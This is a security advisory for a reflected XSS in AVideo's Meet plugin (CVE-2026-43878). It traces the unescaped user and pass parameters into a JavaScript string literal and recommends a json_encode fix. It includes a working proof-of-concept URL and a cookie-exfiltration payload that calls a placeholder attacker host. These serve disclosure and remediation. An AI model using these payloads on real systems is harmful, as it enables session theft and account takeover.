CVE-2026-43878: Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal
Summary plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.
Published May 5, 2026 · Updated May 13, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 29.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.
Details
Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.
Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-3373` returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:
public static function loginFromRequestToGet()
{
if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
$return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
if (!empty($_REQUEST['encodedPass'])) {
$return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
}
return $return;
}
return "";
}Step 2 — `plugin/Meet/iframe.php` builds $readyToClose from that string and emits it into a JS string literal without escaping:
// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet(); // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
$readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
...
}// plugin/Meet/iframe.php:115-117
function _readyToClose() {
document.location = "<?php echo $readyToClose; ?>";
}Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.
Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():
Meet::canJoinMeetWithReason()(plugin/Meet/Meet.php:399-402) returnscanJoin=truefor any visitor when the meet is public (getPublic() == "2"): ``php if ($meet->getPublic() == "2") { $obj->canJoin = true; $obj->reason = "Is public"; return $obj; }``Meet::validatePassword()(plugin/Meet/Meet.php:595-618) returnstruewhen the meet has no password set.validateMeet.php:27only blocks unauthenticated users whengetPublic()is empty.
So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.
Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:
function _readyToClose() {
document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}Parse flow:
document.location = "CHANNEL_URL?user=";— assignment completes.}— closes_readyToClose.alert(1);— executes immediately at script parse/run time (does NOT require_readyToCloseto be called).function a(){"&pass=x";}— declares a harmless function that absorbs the trailing garbage.
PoC
Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).
- Attacker sends victim the following URL: ``
https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x`URL-decodeduserpayload:";}alert(1);function a(){"`
- Server reflects the parameters unescaped into the script block on line 116.
- Victim's browser parses the script;
alert(1)fires immediately on page load.
- Verification: ``
$ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \ | grep -A1 _readyToClose function _readyToClose() { document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";`The injected";}alert(1);function a(){"sequence appears verbatim in the response, closing the JS string and function and executingalert(1)` at parse time.
- Realistic exploitation replaces
alert(1)with a cookie-exfiltration payload: ``user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x``
Impact
Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:
- Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just
/plugin/Meet/). - Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
- Deliver phishing content under the trusted AVideo domain.
The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.
Recommended Fix
Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:
function _readyToClose() {
document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:
public static function loginFromRequestToGet()
{
if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
$return = "user=" . rawurlencode($_REQUEST['user'])
. "&pass=" . rawurlencode($_REQUEST['pass']);
if (!empty($_REQUEST['encodedPass'])) {
$return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
}
return $return;
}
return "";
}Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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